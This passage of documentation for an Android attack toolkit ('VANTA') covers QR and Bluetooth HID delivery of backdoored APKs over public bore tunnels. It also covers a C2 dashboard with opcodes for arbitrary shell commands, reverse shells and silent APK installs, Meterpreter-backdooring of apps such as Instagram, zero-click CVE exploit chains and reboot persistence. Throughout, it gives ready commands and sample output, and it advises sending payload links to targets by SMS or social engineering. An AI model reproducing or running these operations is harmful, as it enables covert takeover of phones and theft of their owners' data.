self.errors.append(f"Command failed: {err}")
2. Register it in execute()
# Add to _no_device_ops if no ADB connection needed:
_no_device_ops = {"...", "my_operation"}
# Add to ops dispatch dict:
ops = {
"...": ...,
"my_operation": self._my_operation_operation,
}
3. Add to GUI sidebar (android_gui.py)
# In the OPS constant, add to the appropriate group:
{id:"my_operation", label:"my operation",
desc:"One-line description for the params panel",
runLabel:"RUN",
fields:[
{n:"target", p:"com.example.app", t:"text", label:"Target package"},
{n:"mode", p:"auto", t:"select",
opts:["auto","manual"], label:"Mode"},
]},
4. Add to this documentation
Add an .op-card div in the Operations Reference section, update the parameter table, and add
an example code block. Submit a PR to 0xb0rn3.github.io.
QR Exploit Modes
| mode | QR payload | Use case |
|---|---|---|
apk | http://<lhost>:<lport>/payload.apk | Victim scans → browser downloads APK directly |
intent | Android Intent URI | Custom deep-link or in-app action |
adb_pair | WIFI:T:ADB;S:<host>:<pair_port>;P:<code>;; | Android 11+ wireless debug pairing - no tap required |
deeplink | Custom URL scheme | App deeplink to trigger in-app logic |
custom | Any string | Raw QR - URL, text, vCard, etc. |
wan | https://<hash>.lhr.life/payload.apk | Starts localhost.run HTTPS tunnel + persistent APK HTTP server (detached), QR encodes real public WAN HTTPS URL. Falls back to bore if SSH unavailable. |
# ADB wireless pairing QR (Android 11+)
set operation qr_exploit
set mode adb_pair
set pair_port 37123
set pair_code 123456
run no_device # no ADB connection needed - prints QR to terminal
# APK delivery QR with embedded HTTP server
set operation qr_exploit
set mode apk
set lhost 192.168.1.42
set lport 8888
run no_device
# WAN APK delivery via bore tunnel - no port forwarding needed
set operation qr_exploit
set mode wan
set apk_path /tmp/payload.apk # explicit APK path (optional - uses work_dir glob if omitted)
set bore_server bore.pub # default, can omit
run no_device # starts bore tunnel + detached HTTP server, prints WAN QR
C2 Dashboard (c2_gui.py)
The C2 Dashboard is a standalone web server (c2_gui.py) that manages agent callbacks,
bore WAN tunnels, MSF Meterpreter sessions, operation execution, and encrypted session logs.
In the android_gui it is embedded as an iframe in the C2 Dashboard tab and auto-started
on a configurable port (default 8889). It can also run standalone:
python3 tools/mobile/android/c2_gui.py --port 8889 --lhost auto --lport 4444 --auto-exploit
Sessions — TCP Agent Callbacks
The C2 server listens on a TCP port (default 8889) for incoming agent connections.
When the native agent (vanta_agent) calls back, its recon report is parsed and a session
is registered. Each session records: device model, Android version, SDK, root method, security patch,
chipset, IP, agent mode, and full command history.
| Session API | Method | Description |
|---|---|---|
GET /api/sessions | GET | List all sessions (summary, no raw report/output) |
GET /api/sessions/<addr> | GET | Full session data for one agent IP:port |
GET /api/sessions/<addr>/output | GET | Command output history for a session |
POST /api/sessions/<addr>/command | POST {"cmd":"SH:id"} | Queue a command for the next agent callback |
POST /api/sessions/<addr>/kill | POST | Mark session inactive and auto-save .scv log |
POST /api/sessions/<addr>/export | POST | Save session to ~/.vanta/sessions/<ts>_<addr>.scv |
POST /api/sessions/<addr>/encrypt | POST {"password":"…"} | Export session as password-protected .scv (5-layer encryption) |
POST /api/sessions/<addr>/logout | POST {"password":"…"} | Save encrypted .scv and remove session from memory |
Agent Opcodes
Commands are queued via /api/sessions/<addr>/command and fetched by the agent on its next callback.
| Opcode | Format | Action |
|---|---|---|
SH: | SH:<cmd> | Execute arbitrary shell command on device; output returned in next callback |
SHELL: | SHELL:host:port | Open a reverse shell to attacker (mkfifo + nc; nc -e fallback) |
ROOT_SHELL: | ROOT_SHELL:host:port | Root reverse shell via Magisk/KernelSU su + mkfifo |
APK: | APK:url | Download APK from URL and silently install |
Bore Tunnel Manager
The C2 manages bore WAN tunnels via a BoreManager class that tracks subprocess handles,
auto-restarts on failure, and exposes a full REST API.
| Endpoint | Body | Action |
|---|---|---|
POST /api/bore/start | {"local_port":4444,"bore_port":37993,"bore_server":"bore.pub"} | Start a bore tunnel: bore.pub:37993 → localhost:4444 |
POST /api/bore/stop | {"local_port":4444,"bore_port":37993} | Stop a specific tunnel |
POST /api/bore/http/start | {"directory":"output","port":8080} | Start a python3 -m http.server in a given directory |
POST /api/bore/http/stop | {"port":8080} | Stop the HTTP server on that port |
POST /api/bore/stopall | — | Terminate all bore tunnels and HTTP servers |
GET /api/bore/status | — | List all running tunnels with local port, bore port, PID, and status |
MSF Session Integration
Reads MSF RPC connection config from ~/.vanta/msf_rpc.json (written by the
msf_handler operation). Once connected, the C2 can list and interact with active
Meterpreter sessions.
| Endpoint | Method | Description |
|---|---|---|
GET /api/msf/sessions | GET | List active Meterpreter sessions via msfrpcd; returns connected bool |
POST /api/msf/run | POST {"session_id":"1","cmd":"sysinfo"} | Run a command in a Meterpreter session via RPC |
Operation Launcher
The C2 GUI can launch any android_pentest operation directly from the browser without
needing the VANTA shell. The operation runs as a background job; output is polled via the job API.
# POST /api/operation — run any android_pentest operation
# Body example:
{
"operation": "recon",
"device": "auto"
}
{
"operation": "backdoor_apk",
"package": "com.instagram.android",
"lhost": "auto",
"lport": "4444",
"wan_expose": "true"
}
# Poll job status:
GET /api/ops/<job_id>
QR Generator
# Generate QR for any URL:
GET /api/qr?url=http://bore.pub:21062/payload.apk
GET /api/qr?url=http://bore.pub:21062/payload.apk&download=1 # also saves PNG to output/
# Returns: {"png_b64": "<base64 PNG>"}
# Requires: pip3 install qrcode[pil]
Session Logs (.scv format)
Sessions are persisted as .scv files in ~/.vanta/sessions/.
Two formats: standard (auto-key Fernet + gzip) and password-protected (5-layer AES-256-GCM +
ChaCha20-Poly1305 with scrypt key derivation).
| Format | Magic | Encryption |
|---|---|---|
| Standard | SCV1 | Auto-generated Fernet key stored in ~/.vanta/.scvkey — readable without password on the same machine |
| Password-protected | S5CV | 5-pass key derivation: PBKDF2-SHA512 (200k) → SHA3-512 → PBKDF2-SHA256 (100k) → scrypt(N=217) → AES-256-GCM + ChaCha20-Poly1305 |
# Session log API:
GET /api/logs # list all .scv files
GET /api/logs/<filename> # read unprotected log
POST /api/logs/<filename>/decrypt # {"password":"…"} — decrypt protected log
Standalone Usage
# Start C2 standalone (TCP + HTTP on same port)
python3 tools/mobile/android/c2_gui.py \
--port 8889 --lhost 192.168.1.100 --lport 4444 --auto-exploit
# auto-exploit: when an agent connects in exploit/c2 mode,
# automatically queue SHELL:<lhost>:<lport> for a reverse shell
# Start from VANTA shell:
set operation c2_gui # opens browser
set operation c2_cli # headless, prints URL only
run
WAN Delivery via Bore
The wan mode automates WAN APK delivery without any router port-forwarding.
When selected, the module:
- Locates the APK to serve — uses
apk_pathif set, otherwise globs the current work directory for*.apk - Spawns a Python HTTP server as a detached subprocess (
start_new_session=True) — it survives after the parent process exits - Starts a
bore localtunnel connecting tobore_server(default:bore.pub), obtaining a random public port - Generates the QR code encoding the real public WAN URL:
http://bore.pub:<assigned-port>/payload.apk - Prints the ASCII QR to the terminal and saves a PNG
~/.local/bin/bore:curl -sL https://github.com/ekzhang/bore/releases/download/v0.5.1/bore-v0.5.1-x86_64-unknown-linux-musl.tar.gz | tar xz -C ~/.local/bin
Parameters
Core Parameters
| Parameter | Type | Req | Default | Description |
|---|---|---|---|---|
| operation | string | no | recon | Operation to run. See Operations section above. |
| package | string | YES* | — | Target app package name. Required for most operations. |
| device | string | no | auto | ADB device serial. Auto-selected if only one device is connected. |
| search_secrets | bool | no | true | Scan decompiled code for embedded secrets, API keys, tokens. |
| deep_analysis | bool | no | false | Use jadx Java decompilation (slower but more thorough). |
| third_party_only | bool | no | true | Only scan user-installed apps (skip system apps). |
| scan_limit | int | no | 5 | Max apps to scan when no package is specified. |
| bypass_ssl | bool | no | false | Patch SSL pinning via smali injection (no Frida needed). |
| proxy | bool | no | false | Configure device HTTP proxy. |
| proxy_host | string | no | auto | Proxy IP (auto-detected from network interfaces). |
| proxy_port | int | no | 8080 | Proxy port. |
| backup | bool | no | false | Create ADB backup of the target app. |
| cleanup | bool | no | false | Delete work directory after operation completes. |
| nvd_api_key | string | no | — | NVD API key for real-time CVE lookups. Also reads NVD_API_KEY env var. |
| mode | string | no | — | Set to gui to launch the full Android Pentest web dashboard (android_gui.py) on localhost. All other params are ignored when mode=gui. |
| gui_port | int | no | 8897 | HTTP port for the GUI server (mode=gui). |
| bore_server | string | no | bore.pub | Bore relay server hostname. Used by qr_exploit wan mode, wan_expose bore fallback, and auto-WAN-expose after injection ops. |
| apk_path | string | no | — | Explicit path to an APK file on the host. Used by backdoor_apk (bypasses device pull — no ADB connection needed; package name derived from filename if not set), qr_exploit wan, rebuild, and the GUI file manager's "use in ops" action. |
| wan_expose | bool | no | true | Auto-run WAN expose (bore tunnel + APK HTTP server) after backdoor_apk, deploy_shell, or objection_patch. Set false to skip. |
| serve_port | int | no | 8890 | Local HTTP port for the APK serve subprocess during WAN expose. |
| lhost | string | no | auto | Attacker IP for reverse shell callbacks. Auto-detected from the default route if omitted or set to auto, none, 0.0.0.0, or empty string. |
| lport | int | no | 4444 | Attacker listener port for reverse shell callbacks. |
CVE / Vuln Scan Parameters
| Parameter | Type | Req | Default | Description |
|---|---|---|---|---|
| cve | string | YES* | — | CVE identifier for exploit_cve operation. One of: CVE-2024-0044, CVE-2024-31317, CVE-2023-45866, CVE-2023-40088, CVE-2023-24033, CVE-2023-26072, CVE-2024-43093, CVE-2025-27363, CVE-2023-0266, CVE-2024-53104, CVE-2023-21492, CVE-2024-20017. *Required only for exploit_cve. |
| show_patched | bool | no | false | When false (default), CVEs covered by the device patch level are silently excluded from vuln_scan results — only vulnerable CVEs are reported. When true, patched CVEs are included at INFO severity with patch_status: patched and a note that the CVE is likely not exploitable. Applies to vuln_scan and exploit_cve. |
| chain | string | YES* | — | Chain name for cve_chain operation. Built-ins: bt_to_root, sandbox_exfil, zero_click_full, exynos_baseband_rce, wifi_zero_click, freetype_browser, kernel_lpe_chain, bt_zero_click_exfil. *Required for cve_chain. |
Inject Agent Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
| agent_mode | string | recon | recon - collect and report only. exploit/c2 - also receive and execute C2 instructions. |
| c2_host | string | auto | Attacker IP the agent should call back to. Auto-detected from default route. |
| c2_port | int | 8889 | TCP port for the C2 listener. |
| c2_timeout | int | 20 | Seconds to wait for agent TCP callback. |
| escalate | bool | false | Automatically issue ROOT_SHELL or SHELL when agent connects in exploit/c2 mode. |
| lhost | string | auto | Reverse shell callback IP (used with escalate=true). |
| lport | int | 4444 | Reverse shell callback port (used with escalate=true). |
Frida Hook Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
| hook_mode | string | all | all | ssl_unpin | root_bypass | dump_creds | trace |
| hook_timeout | int | 30 | Seconds to keep Frida attached before detaching. |
| trace_method | string | — | Class or method substring to trace (used with hook_mode=trace). |
Process Inject Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
| action | string | sniff | sniff — enumerate running processes. inject — attach and inject reverse shell thread. persist_only — install persistence vectors without injecting. |
| target_process | string/int | — | PID (integer) or package name of the process to inject. Resolved via pidof <pkg> then ps -A | grep fallback. |
| inject_mode | string | frida | frida — Frida-based Java Thread injection (no root required if frida-server is already running). ptrace — native ptrace shellcode loader (requires root + agent/inject_arm64 + shell_arm64.so). |
| persist | bool | false | Install persistence after injection: Magisk service.sh (root), BootReceiver smali patch, and immediate am broadcast BOOT_COMPLETED. |
| lhost | string | auto | Reverse shell callback IP for the injected thread. |
| lport | int | 4444 | Reverse shell callback port for the injected thread. |
Backdoor APK & Deploy Shell Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
| package | string | — | Package name of the app to backdoor (pulled from connected device). Not required if apk_path is set directly. |
| apk_path | string | — | Explicit host path to an APK template. Bypasses device pull when set. |
| payload | string | android/meterpreter/reverse_tcp | Metasploit payload. Shorthand aliases: tcp, http, https, shell, stageless. |
| lhost | string | auto | Attacker IP. Auto-detected if set to auto or empty; WAN bore IP resolved automatically for WAN expose. |
| lport | int | 4444 | Listener port. |
| install | bool | false | Uninstall original app and install the backdoored APK after signing. |
| wan_expose | bool | true | Auto-run WAN expose (bore tunnel + detached HTTP server) after injection completes. Delivery info appears in GUI Delivery tab. |
| serve_port | int | 8890 | Local port for the APK HTTP server during WAN expose. |
| bore_server | string | bore.pub | Bore relay server for the WAN tunnel. |
CVE Check, Exploit & Chains
The vuln_scan, exploit_cve, and cve_chain operations provide a
full CVE assessment and exploitation workflow. All three operations use the same JSON stdin/stdout
protocol as every other VANTA operation and are accessible from both the CLI and the GUI CVE tab.
CVE Database — All 19 Tracked CVEs
| CVE | Severity | CVSS | Category | Vector | PoC | vanta_function |
|---|---|---|---|---|---|---|
| CVE-2023-24033 | CRITICAL | 9.8 | Exynos Baseband | Remote/internet, zero-click (Exynos only) | Project Zero (private) | _exploit_cve_2023_24033 |
| CVE-2023-26072 | CRITICAL | 9.8 | Exynos Baseband | Remote, zero-click (Exynos only) | Project Zero (private) | _exploit_cve_2023_26072 |
| CVE-2023-26073 | CRITICAL | 9.8 | Exynos Baseband | Remote, zero-click (Exynos only) | — | — |
| CVE-2023-26076 | HIGH | 7.8 | Exynos Baseband | Remote (Exynos only) | — | — |
| CVE-2024-20017 | CRITICAL | 9.8 | Samsung WiFi | WiFi range, zero-click (Exynos only) | PoC available | _exploit_cve_2024_20017 |
| CVE-2024-0044 | HIGH | 8.8 | Android Framework | Post-install APK | — | _exploit_cve_2024_0044 |
| CVE-2024-31317 | HIGH | 8.8 | Android Framework | Post-install APK | — | _exploit_cve_2024_31317 |
| CVE-2023-35674 | HIGH | 7.8 | Android Framework | Post-install APK | — | — |
| CVE-2024-43093 | HIGH | 7.8 | Android Framework | Post-install APK — ITW | In-the-wild | _exploit_cve_2024_43093 |
| CVE-2023-21282 | HIGH | 8.8 | Android Framework | Malicious media file | — | — |
| CVE-2025-27363 | CRITICAL | 9.8 | FreeType / WebView | Malicious web page — ITW | In-the-wild | _exploit_cve_2025_27363 |
| CVE-2023-40088 | CRITICAL | 9.8 | Bluetooth | Bluetooth range, zero-click | PoC available | _exploit_cve_2023_40088 |
| CVE-2023-45866 | CRITICAL | 9.0 | Bluetooth | Bluetooth range | PoC available | _exploit_cve_2023_45866 |
| CVE-2023-21492 | HIGH | 7.5 | Samsung Kernel | Local info-leak (Samsung only) | — | _exploit_cve_2023_21492 |
| CVE-2024-34585 | HIGH | 8.0 | Samsung Specific | Post-install APK (Samsung only) | — | — |
| CVE-2023-0266 | HIGH | 7.8 | Kernel LPE | Local (ALSA — kernel ≤5.10) | — | _exploit_cve_2023_0266 |
| CVE-2023-3269 | HIGH | 7.8 | Kernel LPE | Local (StackRot VMA) | — | — |
| CVE-2024-53104 | HIGH | 7.8 | Kernel LPE | Local/USB — ITW | In-the-wild | _exploit_cve_2024_53104 |
| CVE-2024-34514 | MEDIUM | 5.5 | Samsung Kernel | Local | — | — |
Exploit Handlers — 12 Active Handlers
| CVE | Handler Function | Technique | Outcome |
|---|---|---|---|
| CVE-2024-0044 | _exploit_cve_2024_0044 | run-as UID confusion → arbitrary package data access | App sandbox bypass — access any installed app's private data as target UID |
| CVE-2024-31317 | _exploit_cve_2024_31317 | Zygote deserialization via serialized PendingIntent | Arbitrary app code execution as system UID (UID 1000) — full Framework LPE |
| CVE-2023-45866 | _exploit_cve_2023_45866 | Bluetooth HID HIDP kernel injection (no pairing) | Arbitrary keyboard input injected to foreground app — no user interaction |
| CVE-2023-40088 | _exploit_cve_2023_40088 | l2c_rcv_acldata UAF via crafted L2CAP packet — zero-click | Bluetooth range RCE — zero user interaction, no pairing required |
| CVE-2023-24033 | _exploit_cve_2023_24033 | Shannon modem SDP/SIP format string → AP kernel RCE | Baseband → AP kernel code execution over mobile data, zero-click |
| CVE-2023-26072 | _exploit_cve_2023_26072 | Exynos SIP INVITE heap overflow → baseband code execution | Baseband RCE over SIP — zero user interaction |
| CVE-2024-43093 | _exploit_cve_2024_43093 | DocumentsUI path traversal → arbitrary file read/write | Access files outside sandbox — exfil /data/data/ contents |
| CVE-2025-27363 | _exploit_cve_2025_27363 | FreeType OOB write via malformed font in WebView | Browser-based RCE → WebView sandbox escape — delivered via malicious web page |
| CVE-2023-0266 | _exploit_cve_2023_0266 | ALSA snd_ctl_elem_read UAF → kernel LPE | Local privilege escalation to root on kernel ≤5.10 (4.4, 4.9, 4.14, 4.19, 5.4, 5.10) |
| CVE-2024-53104 | _exploit_cve_2024_53104 | UVC driver OOB write via malformed USB descriptor | Kernel LPE from local/USB — in-the-wild exploitation confirmed |
| CVE-2023-21492 | _exploit_cve_2023_21492 | Samsung kernel log pointer leak (dmesg / /proc/kmsg) | KASLR defeat — read kernel base address to chain into kernel LPE |
| CVE-2024-20017 | _exploit_cve_2024_20017 | dhd driver OOB write via oversized WiFi frame | WiFi-range RCE on Samsung Exynos devices — zero-click, no association required |
CVE Chains — 8 Named Chains
| Chain | Steps | CVEs | Description |
|---|---|---|---|
bt_to_root | 3 | CVE-2023-45866 → CVE-2024-0044 → CVE-2024-31317 | BT HID initial access via keyboard injection → Framework sandbox bypass → Zygote system UID. Full root chain from Bluetooth range. |
sandbox_exfil | 3 | CVE-2024-0044 → CVE-2024-31317 → CVE-2024-43093 | run-as UID confusion → Zygote system escalation → DocumentsUI path traversal for full /data exfiltration. |
zero_click_full | 3 | CVE-2023-40088 → CVE-2024-31317 → CVE-2024-43093 | Bluetooth zero-click UAF RCE → Zygote privesc → DocumentsUI exfil. Entire chain requires zero user interaction. |
exynos_baseband_rce | 3 | CVE-2023-24033 → CVE-2023-26072 → CVE-2024-31317 | Exynos Shannon modem format string → SIP heap overflow confirmation → Zygote AP-level persistence. Requires Exynos chipset + mobile data. |
wifi_zero_click | 3 | CVE-2024-20017 → CVE-2023-21492 → CVE-2023-0266 | Samsung WiFi OOB (zero-click, WiFi range) → KASLR pointer leak → ALSA kernel LPE. Full remote-to-root over WiFi. |
freetype_browser | 3 | CVE-2025-27363 → CVE-2024-43093 → CVE-2024-31317 | FreeType OOB via malicious web page → DocumentsUI path traversal escalation → Zygote system UID. Delivered via browser link. |
kernel_lpe_chain | 3 | CVE-2023-21492 → CVE-2023-0266 → CVE-2024-53104 | Samsung kernel pointer leak to defeat KASLR → ALSA UAF LPE → UVC driver OOB confirmation. Parallel kernel LPE paths after KASLR defeat. |
bt_zero_click_exfil | 3 | CVE-2023-40088 → CVE-2024-0044 → CVE-2024-43093 | Bluetooth UAF zero-click initial access → Framework LPE via run-as bypass → DocumentsUI path traversal for data exfiltration. |
vuln_scan — Device CVE Assessment
vuln_scan checks the connected device against all 19 CVEs in the database. Each CVE is
evaluated against the device SDK level, vendor filter (chipset/manufacturer), and patch date.
Results are emitted as structured JSON via the \x00RESULT\x00 sentinel and rendered as
severity-badged cards in the GUI CVE tab.
use android_pentest
set operation vuln_scan
set show_patched true # optional — include patched CVEs at INFO severity
run connected
exploit_cve — Targeted Exploitation
use android_pentest
set operation exploit_cve
set cve CVE-2024-43093
set show_patched false # default — skip if patched
run connected
cve_chain — Multi-Step Chain
use android_pentest
set operation cve_chain
set chain wifi_zero_click
set lhost 192.168.1.101
set lport 4444
run connected
BT Zero Deliver — Zero-Click APK Delivery
bt_zero_deliver combines CVE-2023-45866 Bluetooth HID injection with
automatic WAN APK hosting to deliver a payload to a target device without any user interaction beyond
Bluetooth being enabled. No pairing is required. The WAN delivery URL is always emitted — even
without Bluetooth — making this a dual-mode operation covering both zero-click (Phase 4b) and
link-based delivery (Phase 4a).
The generated APK includes a BootReceiver persistence stub injected via apktool smali patching — the Meterpreter shell reconnects automatically on every device reboot without requiring re-delivery. The MSF callback uses a dedicated bore WAN tunnel (separate from the APK delivery tunnel) so the handler runs over the public internet with no port-forwarding on the attacker side.
Prerequisites — Two Questions Answered
| Question | Answer | Detail |
|---|---|---|
| Does Bluetooth need to be ON on the target? | YES — classic BT, not just BLE | CVE-2023-45866 uses L2CAP PSM 0x11/0x13 which are Classic Bluetooth protocols. BLE-only mode (state: BLE_ON) is insufficient — the HID channels are not active. Check: adb shell dumpsys bluetooth_manager | grep state. Enable via root ADB: adb shell su -c "svc bluetooth enable" |
| Does ADB need to be ON on the target? | NO — BT HID path is ADB-independent | The BT HID injection (CVE-2023-45866) operates entirely over Bluetooth L2CAP — ADB is not involved. ADB is only needed if using open_method=adb (am start intent fallback) or for pre-attack recon (getting BT MAC, enabling BT). In a true zero-click scenario with no prior access, you'd get the BT MAC via BT inquiry scan (requires target to be discoverable) or OUI matching. |
Attacker Host Prerequisites
| Requirement | Check | Fix |
|---|---|---|
| BT adapter present | ls /sys/class/bluetooth/hci0 | USB dongle or built-in adapter |
| bluetoothd running | systemctl is-active bluetooth | systemctl enable --now bluetooth |
| Adapter not rfkill-blocked | rfkill list bluetooth | rfkill unblock bluetooth |
| CAP_NET_RAW on python3 | python3 -c "import socket; socket.socket(socket.AF_BLUETOOTH,socket.SOCK_SEQPACKET,0)" — then try bind | sudo setcap cap_net_raw+eip $(which python3)OR run VANTA as root for BT operations |
| bluez + bluez-utils | pacman -Q bluez bluez-utils | yay -S bluez bluez-utils (pacman on Arch) |
Getting the Target BT MAC
| Method | Requires | Command |
|---|---|---|
| ADB (fastest) | ADB access to device | adb shell settings get secure bluetooth_address |
| BT inquiry scan (host) | Target discoverable, host BT up + CAP_NET_RAW | python3 -c "import bluetooth; print(bluetooth.discover_devices(lookup_names=True))"(requires yay -S python-pybluez) |
| Root ADB | Rooted device + ADB | adb shell su -c "cat /sys/class/bluetooth/hci0/address" |
| Service call | ADB access | adb shell service call bluetooth_manager 6 — parse Parcel output |
Attack Flow
localhost:lport → bore.pub:RANDOM. Resolves bore.pub to IP for msfvenom LHOST validation. MSF handler RC generated.BootReceiver.smali → rebuilds → debug-signs. Payload fires on every reboot.serve_port + second bore tunnel → wan_url. Always emitted — BT failure does not stop this step.wan_url → ENTER. ADB: am start VIEW wan_url. Browser opens APK download on target.bore.pub:PORT → bore → localhost:lport → MSF handler. Repeats on every reboot (BootReceiver).CVE-2023-45866 — BT HID Technical Detail
Android's Bluetooth stack accepted incoming HID connections on L2CAP PSM 0x11 (Control) and
PSM 0x13 (Interrupt) without requiring device pairing or user confirmation. A Python
socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP=0) can connect directly and send
USB HID keyboard reports (10-byte packets: 0xa1 0x01 modifier reserved keycode×6)
injected into the device's input event pipeline as physical keyboard input.
Patched in the December 2023 Android Security Bulletin (patch ≥ 2023-12-01 is safe).
Requires classic Bluetooth ON — BLE-only mode does not expose PSM 0x11/0x13.
Raw L2CAP sockets require CAP_NET_RAW on the host. Grant it permanently:
sudo setcap cap_net_raw+eip $(which python3) # one-time setup
rfkill unblock bluetooth # if adapter is soft-blocked
systemctl enable --now bluetooth # ensure bluetoothd is running
Persistence — BootReceiver Injection
After msfvenom generates the base APK, _inject_boot_persist() runs the full
apktool pipeline automatically:
# Automatic — no manual steps required:
apktool d bt_deliver_payload.apk -o decoded/ # 1. Decode
# 2. Write BootReceiver.smali to smali/com/vanta/persist/
# 3. Patch AndroidManifest.xml:
# + uses-permission RECEIVE_BOOT_COMPLETED
# + <receiver android:name=".BootReceiver">
# <intent-filter><action BOOT_COMPLETED /></intent-filter>
# </receiver>
apktool b decoded/ -o persist_unsigned.apk # 4. Rebuild
apksigner sign --ks vanta.keystore persist_unsigned.apk -o persist_signed.apk # 5. Sign
The signed APK is served at wan_url. After the user installs it, the
BOOT_COMPLETED broadcast fires the BootReceiver on every reboot,
which re-launches the Meterpreter service. Combined with the bore MSF WAN tunnel,
the handler catches callbacks even after network changes — no static IP needed.
WAN MSF Callback — Two Bore Tunnels
The operation opens two independent bore tunnels:
| Tunnel | Local Port | Public URL | Purpose |
|---|---|---|---|
| MSF callback tunnel | lport (default 4444) |
bore.pub:PORT1 |
Embedded in APK LHOST — Meterpreter dials this on install and every reboot |
| APK delivery tunnel | serve_port (default 8890) |
bore.pub:PORT2 → wan_url |
HTTP server serving the signed APK — sent to target browser via BT HID or ADB intent |
bore.pub is a hostname — msfvenom requires an IP for LHOST.
The operation resolves the hostname via socket.gethostbyname() before calling msfvenom.
The resolved IP (msf_bore_lhost) and bore-assigned port (msf_bore_lport)
are both returned in the result for use in manual handler setup.
# Run handler using generated RC file:
msfconsole -q -r ~/.vanta/android/<serial>/<ts>/bt_deliver_handler.rc
# Or manually:
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4444 # local side of bore MSF tunnel
exploit -j # bore forwards bore.pub:PORT1 → here
Output Status Values
| status | Meaning |
|---|---|
injected | BT HID connected, HOME+URL+ENTER injected. Target browser opened download link. WAN URL also emitted. |
adb_intent_sent | open_method=adb — am start VIEW wan_url fired via ADB. APK includes BootReceiver persistence + bore WAN MSF tunnel. BT HID skipped. |
url_only | bt_addr omitted or no BT adapter — APK (with BootReceiver) served over bore, wan_url ready for manual delivery (Phase 4a). |
installed | APK pushed and pm install succeeded (ADB direct-push path). Payload is live on device, BootReceiver active. |
push_failed | ADB push failed — device not connected or serial wrong. Check adb devices. |
connection_failed | L2CAP connect timed out or refused. Causes: classic BT off, target patched (≥ 2023-12-01), or Samsung HIDH auth check (see below). |
permission_denied | CAP_NET_RAW missing. Fix: sudo setcap cap_net_raw+eip $(which python3) |
Phase 4a — WAN APK Link Delivery (manual fallback)
wan_url in the result is always the direct bore link to the APK (persist_signed.apk
with BootReceiver already injected) — regardless of whether BT HID succeeds.
Send this to the target via SMS, email, or social engineering.
Target taps → Chrome downloads → install prompt → Meterpreter session opens → persists on reboot.
This is the standard Phase 4a delivery path (no BT, no ADB, no proximity required).
Example — ADB fast-path delivery (confirmed working)
# One-time host setup:
sudo setcap cap_net_raw+eip $(which python3)
rfkill unblock bluetooth
systemctl start bluetooth
# Get target BT MAC via ADB:
adb shell settings get secure bluetooth_address
# → A8:34:6A:E9:AE:87
# Enable classic BT on target if it shows BLE_ON:
adb shell dumpsys bluetooth_manager | grep state
adb shell su -c "svc bluetooth enable"
use android_pentest
set operation bt_zero_deliver
set device 192.168.1.124:5555
set bt_addr A8:34:6A:E9:AE:87
set lhost 192.168.1.101
set lport 4444
set open_method adb # ADB am start — faster, bypasses HID ECONNRESET edge case
set bore_server bore.pub
run
# VANTA output (abridged):
# [*] Bore MSF tunnel: http://bore.pub:12610 (lhost resolved: 161.35.110.36)
# [*] APK ready: bt_deliver_payload.apk lhost=161.35.110.36:12610
# [*] Persistence: persist_signed.apk (BootReceiver injected, 17KB)
# [*] APK delivery URL: http://bore.pub:56605/persist_signed.apk
# [*] ADB intent sent: am start VIEW http://bore.pub:56605/persist_signed.apk
# status: adb_intent_sent | persistence: BootReceiver (BOOT_COMPLETED)
# Start handler:
msfconsole -q -r ~/.vanta/android/192.168.1.124_5555/<ts>/bt_deliver_handler.rc
Example — BT HID zero-click delivery (no ADB on target)
use android_pentest
set operation bt_zero_deliver
set bt_addr A8:34:6A:E9:AE:87
set lhost 192.168.1.101
set lport 4444
set open_method browser # BT HID keyboard injection — no ADB needed
set key_delay 0.12 # slow down keystrokes for reliability
run
# Requires: classic BT ON, CAP_NET_RAW, target NOT patched (Android < 2023-12-01)
Example — URL-only mode (Phase 4a, no BT, no ADB)
use android_pentest
set operation bt_zero_deliver
# bt_addr omitted → url_only — no BT or ADB required
set lhost 192.168.1.101
set lport 4444
run
# Result fields:
# wan_url = http://bore.pub:XXXXX/persist_signed.apk ← send to target
# msf_bore_lhost = 161.35.110.36 (resolved from bore.pub)
# msf_bore_lport = YYYYY (bore-assigned MSF callback port)
# handler_rc = ~/.vanta/.../bt_deliver_handler.rc
# persistence = BootReceiver (BOOT_COMPLETED)
#
# Target flow: tap wan_url → Chrome download → install → Meterpreter connects
# bore.pub:YYYYY → localhost:4444 → MSF session
# Repeats automatically on every device reboot.
adb shell dumpsys bluetooth_manager | grep "state:". State must be ON, not BLE_ON.
sudo setcap cap_net_raw+eip $(which python3) once after install. Without this, the operation falls back to permission_denied status and the WAN URL is still emitted.
Samsung HIDH Firmware Auth Check — Vendor-Patched Devices
Samsung devices running One UI 3.x+ firmware may include a vendor-specific HIDH-level authentication check that fires independently of the AOSP December 2023 patch. Symptoms:
- L2CAP channels on PSM 0x11 and PSM 0x13 both connect successfully
- PSM 0x13 sends an empty L2CAP DISCONNECT immediately after connect
- First
intr.send()returns[Errno 107] Transport endpoint not connected - Android logcat shows:
btif_hh_upstreams_evt: BTA_HH_OPN_EVT: handle=255, status=7 status=7=BTA_HH_ERR_AUTH_FAILED— HIDH host rejected the unknown device
This check rejects HID connections from devices not in the paired/trusted list at the HIDH layer,
even though the L2CAP connection was accepted (exploiting the CVE). The device's security patch date
(e.g. 2023-01-01) does not reflect this Samsung-specific fix.
| Scenario | BT HID result | Recommended path |
|---|---|---|
| Unpatched AOSP Android (no Samsung HIDH check, patch < 2023-12-01) | injected | Pure BT HID zero-click works |
| Samsung One UI 3.x+ with HIDH auth check (any patch level) | connection_failed (ENOTCONN) | Use open_method=adb — ADB push + pm install is the reliable path |
| Any device, AOSP patch ≥ 2023-12-01 | connection_failed (ECONNREFUSED on PSM) | CVE patched — use ADB or social engineering delivery |
# Confirm Samsung HIDH check is blocking (requires ADB):
adb shell logcat -d | grep "BTA_HH_OPN_EVT"
# → status=7 confirms HIDH auth rejection
# → status=0 would mean accepted (BT HID would work)
Backdoor APK - Detailed Guide
backdoor_apk injects a Metasploit payload into an existing APK, signs the result,
and — by default — automatically runs WAN expose (bore tunnel + detached APK HTTP server) so
the backdoored APK is immediately reachable over the internet.
A ready-to-use handler.rc is generated in the work directory.
In the GUI the run button is labelled INJECT.
Two APK sources: provide apk_path (path to a local APK file — no device needed)
or package (pulls the installed APK from a connected device via pm path + adb pull,
with a root /sdcard copy fallback). When both are omitted the operation fails with a clear usage message.
Two injection paths: the module first tries msfvenom -x <template>.
